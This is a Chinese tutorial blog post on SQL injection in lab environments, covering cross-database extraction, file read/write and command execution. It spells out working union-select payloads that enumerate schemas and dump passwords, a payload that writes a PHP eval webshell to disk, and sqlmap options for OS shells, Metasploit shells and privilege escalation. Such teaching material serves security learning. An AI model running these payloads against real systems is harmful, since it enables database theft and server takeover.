web安全sql注入权限&跨库&文件读写&命令执行

Posted Nu1LL+

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全sql注入权限&跨库&文件读写&命令执行相关的知识,希望对你有一定的参考价值。

一、跨库注入

比如在同一IP下有两个站点分别对应A、B网站,如果A网站存在高权限注入(root)那么就会导致同一数据库B站点或者其他web应用数据泄露。
这里演示:
本地A站点:http://sqli-labs-master:100/Less-1/ 对应数据库权限root
本地B站点:http://127.0.0.1/xinyuan/index.php 对应数据库权限普通用户
在这里插入图片描述
在这里插入图片描述
那么此时在A网站我们先手工注入查看数据库权限,id=-1' union select 1,2,user() --+ 发现是root权限
在这里插入图片描述

查看所有数据库,-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata--+
在这里插入图片描述
这里就可以发现B网站的是数据库php_wish,还有其他网站的数据库。之前介绍过 information_schema.schemata表下的列shcema_name 存储数据库名信息的表
在这里插入图片描述
好了我们接着获取B网站数据库下的所有表名,-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='php_wish'--+ 发现只有一个表名wish
在这里插入图片描述
然后获取wish表名下所有列名,-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='wish' and table_schema='php_wish'--+
在这里插入图片描述
最后获取数据,-1' union select 1,id,password from php_wish.wish--+ 这里注意跨库注入的话要在表前面加上点指定数据库,因为当前数据库是security,不指定数据库默认查询的就是security数据库下的表
在这里插入图片描述
前面是手工注入,那么用工具sqlmap和手工有什么区别,如果目标站点是一个高权限注入,比如 --tables 那么工具默认就会先获取高权限下的所有数据库再接着就是表名,那么工具如何判断高权限,不同数据库对应不同判断的内置函数,只需要 --is-dba 就可以判断是否是高权限

二、文件读写

当拥护高权限的时候就可以进行文件读写,取一些敏感文件,或者写入一句话木马

1' ​union select 1,load_file('d:/test.txt'),3--+
在这里插入图片描述
写入一句话木马
id=-1' union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'D:/phpstudy_pro/WWW/xinyuan/x.php' --+
在这里插入图片描述
那么WEB的应用路径获取:说明文件phpinfo,报错显示,特定源码爆出,配合读取中间件配置,爆破等

三、注入权限、命令执行

那么这里采用的是Sql Server数据库的墨者靶场,我们用工具进行一个对比
运用两款工具:1.Pangolin、2.Havij
一、对比Sql Server或其他数据库可操作方面
二、工具可操作自动识别攻击
在这里插入图片描述
那么可以做以下这些操作,我们随便选几个操作
在这里插入图片描述

获取数据
在这里插入图片描述
执行命令
在这里插入图片描述
文件管理
在这里插入图片描述
Havij的操作界面如下
在这里插入图片描述
所以不同的数据库对应不同的操作,然后我们康康SQLMAP的一些操作

–current-user 当前用户
在这里插入图片描述

–file-read 从服务器读入
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

–file-write 从本地写入 前面是本地文件,后面是远程要写入的文件
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
–sql-shell 执行sql命令终端
在这里插入图片描述
–os-shell 执行shell终端
在这里插入图片描述
我们跟进可以看到上传了tmpbvizc.php、tmpucvgu.php两个文件
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么还有以下功能就不做操作了

--os-cmd=ver 自定义命令
--os-cmd=OSCMD//执行操作系统命令
--os-shell //反弹一个osshell
--os-pwn //pwn,反弹msf下的shell或者vnc
--os-smbrelay //反弹msf下的shell或者vnc
--os-bof //存储过程缓存溢出
--priv-esc //数据库提权
--reg-read --reg-add --reg-del --reg-key
--reg-value --reg-data --reg-type

在这里插入图片描述

以上是关于web安全sql注入权限&跨库&文件读写&命令执行的主要内容,如果未能解决你的问题,请参考以下文章

web安全文件上传漏洞&代码函数&格式后缀&场景

web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改

web安全sql注入HTTP头&Post&Cookie注入

web安全sql注入盲注&布尔&延时&报错

web安全sql注入Sql_Server数据库&AWD思路

web安全:sql 注入